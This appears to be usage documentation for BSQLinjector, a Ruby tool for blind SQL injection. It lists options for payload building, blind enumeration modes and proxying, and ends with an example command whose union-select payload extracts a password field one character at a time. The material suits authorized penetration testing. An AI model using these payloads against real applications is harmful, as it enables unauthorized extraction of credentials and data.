BSQLinjector uses blind method to retrieve data from SQL databases. I recommend using "--test" switch to clearly see how configured payload looks like before sending it to an application.
--file Mandatory - File containing valid HTTP request and SQL injection point (SQLINJECT). (--file=/tmp/req.txt)
--pattern Mandatory - Pattern to look for when query is true. (--pattern=truestatement)
--prepend Mandatory - Main payload. (--prepend="abcd'and'a'='b'+union+select+'truestatement'+from+table+where+col%3d'value'+and+substr(password,"
--append How to end our payload. For example comment out rest of SQL statement. (--append='#)
--schar Character placed around chars. This character is not used while in hex mode. (--schar="'")
--2ndfile File containing valid HTTP request used in second order exploitation. (--2ndfile=/tmp/2ndreq.txt)
--mode Blind mode to use - (between - b (generates less requests), moreless - a (generates less requests by using "<", ">", "=" characters), like - l (complete bruteforce), equals - e (complete bruteforce)). (--mode=l)
--postgres Use postgres "for" in substring function (e.g. from 1 for 1).
--hex Use hex to compare instead of characters.
--case Case sensitivity.
--ssl Use SSL.
--proxy Proxy to use. (--proxy=127.0.0.1:8080)
--test Enable test mode. Do not send request, just show full payload.
--special Include all special characters in enumeration.
--start Start enumeration from specified character. (--start=10)
--max Maximum characters to enumerate. (--max=10)
--timeout Timeout in waiting for responses. (--timeout=20)
--only-final Stop showing each enumerated letter.
--comma Encode comma.
--bracket Add brackets to the end of substring function. --bracket="))"
--hexspace Use space instead of brackets to split hex values.
--verbose Show verbose messages.
ruby ./BSQLinjector.rb --pattern=truestatement --file=/tmp/req.txt --schar="'" --prepend="abcd'and'a'='b'+union+select+'truestatement'+from+table+where+col%3d'value'+and+substr(password," --append="'#" --ssl